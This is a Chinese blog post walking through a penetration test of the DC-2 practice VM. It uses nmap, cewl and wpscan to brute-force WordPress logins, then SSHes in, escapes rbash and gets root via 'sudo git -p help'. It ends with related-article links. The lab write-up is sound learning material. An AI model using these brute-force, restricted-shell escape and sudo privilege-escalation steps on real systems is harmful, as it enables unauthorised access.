DC-2 靶机渗透测试
DC-2 靶机渗透测试
冲冲冲,好好学习。
本靶机核心内容“
受限shell提权”,知识点在另一篇文章中总结归纳了。
攻击机:kali
靶 机:DC-2
准备:在使用前需要在操作机的hosts文件里添加靶机的ip和域名,访问靶机80端口时会自动转跳dc-2,不添加则无法访问172.66.66.132 dc-2
信息收集:nmap -sV -A 172.66.66.0/24

nmap -sV -p- 172.66.66.132

-A :探测操作系统
-sV :探测版本
-p- :探测0~65535端口开放情况
没有robots.txt文件,访问80端口看看并识别cms:


dirb扫一下目录,找找就发现了登录页面

发现登录页面,因为是wordpress的网页,想到cewl和wpscan。接着操作。
cewl是kali自带的一个字典生成文件,教程参考freebuf的文章 Kali Linux字典生成工具Cewl使用全指南
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会根据爬取内容的关键字生成一份字典,通过这种方式生成的字典可以作为cupp生成字典的补充。你可以把字典用到类似John the Ripper这样的密码破解工具中。
其实就是生成一个社工的密码文件,网站的某些特定的字符有时候可能会成为密码,用cewl提取一下出来。
默认方法
cewl http://www.ignitetechnologies.in/ #输入下列命令之后,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典: 保存字典文件
cewl http://www.ignitetechnologies.in/ -w dict.txt #为了方便大家记录,或者为将来的研究提供参考,Cewl可以将打印出的字典存储为文件。这里可以使用 -w参数 来将密码字典存储为text文件: 查看的时候就 cat 一下 如果你想生成指定长度的密码字典,你可以使用-m选项来设置:
cewl http://www.ignitetechnologies.in/ -m 9 #上述命令将生成长度至少为9位的密码,你可以从下图中看到,Cewl对目标网站进行了爬取,并打印出了长度至少为9位的密码: 从网站中获取Email
cewl http://www.ignitetechnologies.in/ -n -e #你可以使用-e选项来启用Email参数,并配合-n选项来隐藏工具在爬取网站过程中生成的密码字典: 计算网站字典中重复的单词数量:
cewl http://www.ignitetechnologies.in/ -c #如果你想要计算目标网站中某个词的重复出现次数,你可以使用-c选项来开启参数计算功能:
输入cewl http://dc-2/ -w dir.txt 把生成的密码保存在 dir.txt中,路径在/root,可以用cat dir.txt查看详情。
接着有了密码,缺用户名,刚好这是个wordpress的站点,可以用WPScan枚举用户名,输入:wpscan --url dc-2 -e -u

找到三个用户名 admin jerry tom
可以尝试爆破:wpscan --url http://dc-2 -e u -P dir.txt 枚举用户名,加上 -P 密码文件路径
也可新建文件保存用户名再爆破:
wpscan --url http://dc-2 -U users.txt -P dir.txt
爆破成功:

| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

出现search,输入flag,找到flag1 、flag2,并且,是否存在注入点?


flag2 提示有另一个入口,猜想 注入 、SSH登录 ,注入尝试失败,剩下SSH登录,ssh tom@172.66.66.132 -p 7744 密码parturient
只有tom账号密码可登录,但shell受限制大,较多命令无法执行。!
查看vi flag3.txt

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes. 可怜的老汤姆老是追杰瑞。也许他应该为他造成的所有压力负责。 提示信息指向jerry 并且提示使用su
简单试了一下发现,当前tom用户能使用的命令:ls vi less scp(不完全),得知当前shell为 rbash

开始提权,针对rbash 提权,下面的操作是突破 rbash,整个bash出来。先知道一个函数BASH_CMDS[]挖个坑,其实我也不是很透彻,后面再补。
BASH_CMDS[a]=/bin/sh;a
/bin/bash
再添加环境变量:export PATH=$PATH:/bin 添加/bin是为了能够使用/bin 下的命令
(/bin里是系统的一些指令。bin为binary的简写主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar等。)
需要再去理解PATH的含义,再su与sudo 的那个login shell的区别

export -p 列出当前shell中所有的环境变量,特别留意 PATH

看一下passwd文件,jerry是允许登录的

提权成功后,执行su jerry,adipiscing切换到jerry用户,cd ../ ,ls 看到了flag4.txt,cat一下

提示git 提权
查看当前用户下的sudo命令列表 sudo -l

看到 (root) NOPASSWD: /usr/bin/git ,git命令是切换到root用户且无需密码直接使用,(注意,直接sudo ,不指定用户名,默认切换至 root 用户)
提权原理:因为git显示的内容太多需要分页显示的话,默认调用more来显示,那么more和less一样,都可以通过命令行模式输入!/bin/bash进行提权
sudo git -p help
!/bin/bash


本靶机核心“受限shell提权”
路线:nmap-->御剑扫后台并访问-->cewl-->wpscan-->ssh登录-->rbash突破-->sudo git 提权root
cewl一个工具,根据目标网站的内容,生成一个特殊的社工密码文件,可用于后续爆破,缺个用户名,这时候如果目标站点是WordPress站点的话,就可以配合 Wpscan来获取用户名,再一起爆破。
WPScan一个WordPress站点扫描工具:(kali默认自带工具)
--url [wordpress url]直接开始扫描
--enumerate |-e [option(s)]枚举, option有
u 枚举用户名(默认从1-10),
p 枚举插件
vp只枚举有漏洞的插件
vt只枚举有漏洞的主题
tt列举所列图相关的文件 注意:没有指定选项是,
-e 默认为vt tt u vp 四个
--update使用前先更新
wpscan --url https://www.xxxxxxx.wiki/ --enumerate u扫描用户名爆破:
wpscan --url https://www.xxxxx.wiki/ -e u --wordlist 字典文件路径 1.针对WPScan防护措施 :用户名枚举--->不要把昵称用作用户名,用包含随机字符的名字作用户名,昵称用低频的; 防止爆破措施:禁止ip重复尝试登陆; 防止扫描主题插件timthumb文件:使用
Block Bad Queries (BBQ)插件
当拿到了账号密码,接下来有什么可以做的?
后台登录、SSH登录SSH远程登录命令格式:
ssh 客户端用户名@服务器ip例:ssh tom@172.66.66.132
ssh 客户端用户名@服务器ip -p 端口例:ssh tom@172.66.66.132 -p 7744
ssh 服务器ip如果客户机的用户名和服务器的用户名相同,登录时可以省略用户名。拿到一个陌生的
受限制的shell后,尽可能多的获取当前shell的信息,shell的类型,可用功能/命令
检查可用命令:
敲入一个字母,按两下TAB键补全,看能不能列出来文件/目录,如图都是可用的命令
检查有suid权限的命令,哪些是归属于root用户。
find / -perm -4000 -type f 2>/dev/null -exec ls -alh {} \;
find / -perm -u=s -type f 2>/dev/null -exec ls -alh {} \;查找可以使用的命令列表sudo
sudo -l,看能不能用我们的密码执行其他用户的权限命令检查有什么语言可以使用,python、php、ruby、expect、perl等,它们会在后面排上用场
检查重定向运算符是否可用,例如
|>>><>|>&&>检查转义字符和执行标记,如
;&'"({其中,(这个是shell执行标记
export命令用于设置或显示环境变量,在shell中执行程序时,shell会提供一组环境变量。export可增删改环境变量,供后续程序使用,但是export的效力仅限于本次登录操作(这里的 删 其实更贴切的描述是“暂时性禁用”,并不真的删除)格式:
export [-fnp][变量名称]=[变量设置值]例:export MYNE=7 //定义环境变量并赋值,export -p 列出当前shell中所有环境变量
git提权-p | --paginate这个-p的意思就是以分页的形式展示git的帮助信息,进入交互模式,可输入命令sudo git -p help
!/bin/bash
su 与 sudo 异同:在另一个笔记里,自己想,想不起来再去翻
echo $0 查看当前shell类型
DC-2 靶机渗透测试的更多相关文章
- DC-1 靶机渗透测试
DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...
- DC-5 靶机渗透测试
DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...
- DC-9 靶机渗透测试
DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...
- DC-7 靶机渗透测试
DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...
- DC-8 靶机渗透测试
DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...
- DC-6 靶机渗透测试
DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...
- DC-4 靶机渗透测试
DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- vulnhub-DC:7靶机渗透记录
准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...
随机推荐
- 基于SpringBoot 、AOP与自定义注解转义字典值
一直以来,前端展示字典一般以中文展示为主,若在表中存字典值中文,当字典表更改字典值对应的中文,会造成数据不一致,为此设置冗余字段并非最优方案,若由前端自己写死转义,不够灵活,若在业务代码转义,臃肿也不 ...
- Linux中使用QT读取并显示温度传感器数值
环境: Ubuntu 16.04 64 bit QT5.13.1/QT5.12 原理 对于Linux来说一切都是文件,温度传感器也是个文件,如果要获取某个温度传感器的数值,可以读取相应的文件,Linu ...
- Duilib的双缓冲实现,附带GDI、WTL的双缓冲实现
前言: 闪烁问题,之前的经验是使用双缓冲,借此机会,把双缓冲的研究心得总结下. 双缓冲的含义: 缓冲这个词,相信大家都不陌生,Cache.主要是为了解决上下游(或者模块.或者系统)等性能不匹配问题.如 ...
- excel函数提取内容中的汉字
RIGHT(A2,LENB(A2)-LEN(A2)) 函数LENB将每个汉字(双字节字符)的字符数按2计数,LEN函数则对所有的字符都按1计数.因此"LENB(A2)-LEN(A2)&quo ...
- 通过修改Host实现chrome同步
问题原因 : 中国的GW屏蔽了google服务,导致无法同步账号信息,这是一个很好的功能.可以同步书签,插件等! 跟chrome的版本号无关,设置hosts文件就能够正常运行(文件位置 : C:\Wi ...
- 国内CRM客户管理系统哪个好用
在企业管理者对CRM系统进行选择的时候,面对搜索引擎上各种各样的结果和各种广告,肯定会有这样的疑问:CRM客户管理系统到底是哪一个好?除了网络上那些为了广告效果而"夸大其词"的优点 ...
- 你真的懂 export default 吗?
export default A 和 export { A as default } 乍一看是一样的,但是里面有一些细微的区别比较容易留坑.本文介绍两种写法的不同之处. import 语句导入的是引用 ...
- com.rabbitmq.client.impl.Frame.readFrom(Frame.java:95)
RabbitMQ 基于Erlang 实现, 客户端可以用Python | Java | Ruby | PHP | C# | Javascript | Go等语言来实现.这里做个java语言的测试.首先 ...
- esp32 Guru Meditation 错误解决方案(转)
Guru Meditation本节将对打印在 Guru Meditation Error: Core panic'ed后面括号中的致错原因进行逐一解释.IllegalInstruction此 CPU ...
- C语言相关知识
1.指针:在程序中定义了一个变量,在进行编译时就会给该变量再内存中分配一个地址,通过访问这个地址可以找到所需变量,这个变量的地址成为该变量的指针.指针看作是内存中的一个地址,多数情况下,这个地址是内存 ...
